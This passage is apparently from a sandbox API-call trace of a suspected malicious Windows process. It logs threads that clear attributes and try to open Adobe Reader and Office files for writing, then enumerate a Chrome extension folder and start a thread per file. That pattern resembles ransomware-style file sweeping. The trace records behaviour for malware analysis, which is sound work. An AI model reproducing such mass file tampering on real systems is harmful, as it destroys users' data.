10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\dynamic.pdf")) returned 0x20 [0171.217] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\Dynamic.pdf", dwFileAttributes=0x20) returned 0 [0171.217] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\dynamic.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0171.217] GetLastError () returned 0x5 [0171.217] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\Dynamic.pdf", dwFileAttributes=0x20) returned 0 [0171.217] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c62c0) returned 1 Thread: id = 6341 os_tid = 0xd44 [0171.218] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\signhere.pdf")) returned 0x20 [0171.219] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\SignHere.pdf", dwFileAttributes=0x20) returned 0 [0171.219] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\signhere.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0171.219] GetLastError () returned 0x5 [0171.219] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\SignHere.pdf", dwFileAttributes=0x20) returned 0 [0171.219] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4ba1d8) returned 1 Thread: id = 6342 os_tid = 0xd48 [0171.220] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\standardbusiness.pdf")) returned 0x20 [0171.220] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\StandardBusiness.pdf", dwFileAttributes=0x20) returned 0 [0171.220] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\standardbusiness.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0171.221] GetLastError () returned 0x5 [0171.221] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\StandardBusiness.pdf", dwFileAttributes=0x20) returned 0 [0171.221] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dd678) returned 1 Thread: id = 6343 os_tid = 0xd4c [0171.222] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\dynamic.pdf")) returned 0x20 [0171.222] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\Dynamic.pdf", dwFileAttributes=0x20) returned 0 [0171.222] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\dynamic.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0171.222] GetLastError () returned 0x5 [0171.222] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\Dynamic.pdf", dwFileAttributes=0x20) returned 0 [0171.222] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c6ec0) returned 1 Thread: id = 6344 os_tid = 0x1b88 [0171.224] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\signhere.pdf")) returned 0x20 [0171.224] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\SignHere.pdf", dwFileAttributes=0x20) returned 0 [0171.224] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\signhere.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0171.224] GetLastError () returned 0x5 [0171.224] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\SignHere.pdf", dwFileAttributes=0x20) returned 0 [0171.224] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd494b50) returned 1 Thread: id = 6345 os_tid = 0x1b94 [0171.233] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\standardbusiness.pdf")) returned 0x20 [0171.233] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\StandardBusiness.pdf", dwFileAttributes=0x20) returned 0 [0171.233] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\standardbusiness.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0171.234] GetLastError () returned 0x5 [0171.234] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\StandardBusiness.pdf", dwFileAttributes=0x20) returned 0 [0171.234] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dd4c8) returned 1 Thread: id = 6346 os_tid = 0x1b98 [0171.235] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\dynamic.pdf")) returned 0x20 [0171.235] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\Dynamic.pdf", dwFileAttributes=0x20) returned 0 [0171.235] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\dynamic.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0171.235] GetLastError () returned 0x5 [0171.235] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\Dynamic.pdf", dwFileAttributes=0x20) returned 0 [0171.235] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c6380) returned 1 Thread: id = 6347 os_tid = 0x1b9c [0171.236] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\signhere.pdf")) returned 0x20 [0171.237] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\SignHere.pdf", dwFileAttributes=0x20) returned 0 [0171.237] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\signhere.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0171.237] GetLastError () returned 0x5 [0171.237] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\SignHere.pdf", dwFileAttributes=0x20) returned 0 [0171.237] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd494c18) returned 1 Thread: id = 6348 os_tid = 0x1ba0 [0171.238] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\standardbusiness.pdf")) returned 0x20 [0171.240] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\StandardBusiness.pdf", dwFileAttributes=0x20) returned 0 [0171.240] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\standardbusiness.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0171.240] GetLastError () returned 0x5 [0171.240] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\StandardBusiness.pdf", dwFileAttributes=0x20) returned 0 [0171.240] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ddab0) returned 1 Thread: id = 6357 os_tid = 0x1f4c [0171.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_FormsHomePage.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_formshomepage.gif")) returned 0x20 [0172.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_FormsHomePage.gif", dwFileAttributes=0x20) returned 0 [0172.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_FormsHomePage.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_formshomepage.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0172.500] GetLastError () returned 0x5 [0172.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_FormsHomePage.gif", dwFileAttributes=0x20) returned 0 [0172.500] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dd090) returned 1 Thread: id = 6358 os_tid = 0xd94 [0171.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_FormsHomePageBlank.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_formshomepageblank.gif")) returned 0x20 [0172.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_FormsHomePageBlank.gif", dwFileAttributes=0x20) returned 0 [0172.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_FormsHomePageBlank.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_formshomepageblank.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0172.502] GetLastError () returned 0x5 [0172.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_FormsHomePageBlank.gif", dwFileAttributes=0x20) returned 0 [0172.503] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93feb0) returned 1 Thread: id = 6373 os_tid = 0xf20 [0171.838] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x112) returned 0x92df18 [0171.838] wcscpy (in: _Dest=0x92df18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" [0171.838] wcscat (in: _Dest=0x92df18, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\" [0171.838] wcscat (in: _Dest=0x92df18, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\*" [0171.838] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x908380 [0171.838] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\*", lpFindFileData=0x908380 | out: lpFindFileData=0x908380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833dcb50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836e0310, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x836e0310, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b038 [0172.522] wcscmp (_String1=".", _String2=".") returned 0 [0172.522] FindNextFileW (in: hFindFile=0x93b038, lpFindFileData=0x908380 | out: lpFindFileData=0x908380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833dcb50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836e0310, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x836e0310, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.870] wcscmp (_String1="..", _String2=".") returned 1 [0172.870] wcscmp (_String1="..", _String2="..") returned 0 [0172.870] FindNextFileW (in: hFindFile=0x93b038, lpFindFileData=0x908380 | out: lpFindFileData=0x908380*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83637bc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8363f0f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x8c0bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="angular.js", cAlternateFileName="")) returned 1 [0172.870] wcscmp (_String1="angular.js", _String2=".") returned 1 [0172.870] wcscmp (_String1="angular.js", _String2="..") returned 1 [0172.870] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x124) returned 0x99d590 [0172.870] wcscpy (in: _Dest=0x99d590, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" [0172.870] wcscat (in: _Dest=0x99d590, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\" [0172.870] wcscat (in: _Dest=0x99d590, _Source="angular.js" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js" [0174.148] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x99d590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x678 [0174.149] FindNextFileW (in: hFindFile=0x93b038, lpFindFileData=0x908380 | out: lpFindFileData=0x908380*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83641800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83643f10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0xa89c, dwReserved0=0x0, dwReserved1=0x0, cFileName="background_script.js", cAlternateFileName="BACKGR~1.JS")) returned 1 [0174.149] wcscmp (_String1="background_script.js", _String2=".") returned 1 [0174.149] wcscmp (_String1="background_script.js", _String2="..") returned 1 [0174.149] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x8fca20 [0174.149] wcscpy (in: _Dest=0x8fca20, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" [0174.149] wcscat (in: _Dest=0x8fca20, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\" [0174.149] wcscat (in: _Dest=0x8fca20, _Source="background_script.js" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js" [0174.149] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8fca20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xab0 [0174.151] FindNextFileW (in: hFindFile=0x93b038, lpFindFileData=0x908380 | out: lpFindFileData=0x908380*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83646620, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83648d30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x181aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="cast_game_sender.js", cAlternateFileName="CAST_G~1.JS")) returned 1 [0174.151] wcscmp (_String1="cast_game_sender.js", _String2=".") returned 1 [0174.151] wcscmp (_String1="cast_game_sender.js", _String2="..") returned 1 [0174.151] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x136) returned 0x8fcb68 [0174.151] wcscpy (in: _Dest=0x8fcb68, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" [0174.151] wcscat (in: _Dest=0x8fcb68, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\" [0174.151] wcscat (in: _Dest=0x8fcb68, _Source="cast_game_sender.js" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js" [0174.151] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8fcb68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13fc [0174.152] FindNextFileW (in: hFindFile=0x93b038, lpFindFileData=0x908380 | out: lpFindFileData=0x908380*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8364db50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8364db50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1caf9500, ftLastWriteTime.dwHighDateTime=0x1d2c87a, nFileSizeHigh=0x0, nFileSizeLow=0x111e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="cast_route_details.html", cAlternateFileName="CAST_R~1.HTM")) returned 1 [0174.152] wcscmp (_String1="cast_route_details.html", _String2=".") returned 1 [0174.152] wcscmp (_String1="cast_route_details.html", _String2="..") returned 1 [0174.152] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x13e) returned 0x909df8 [0174.152] wcscpy (in: _Dest=0x909df8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0" [0174.152] wcscat (in: _Dest=0x909df8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 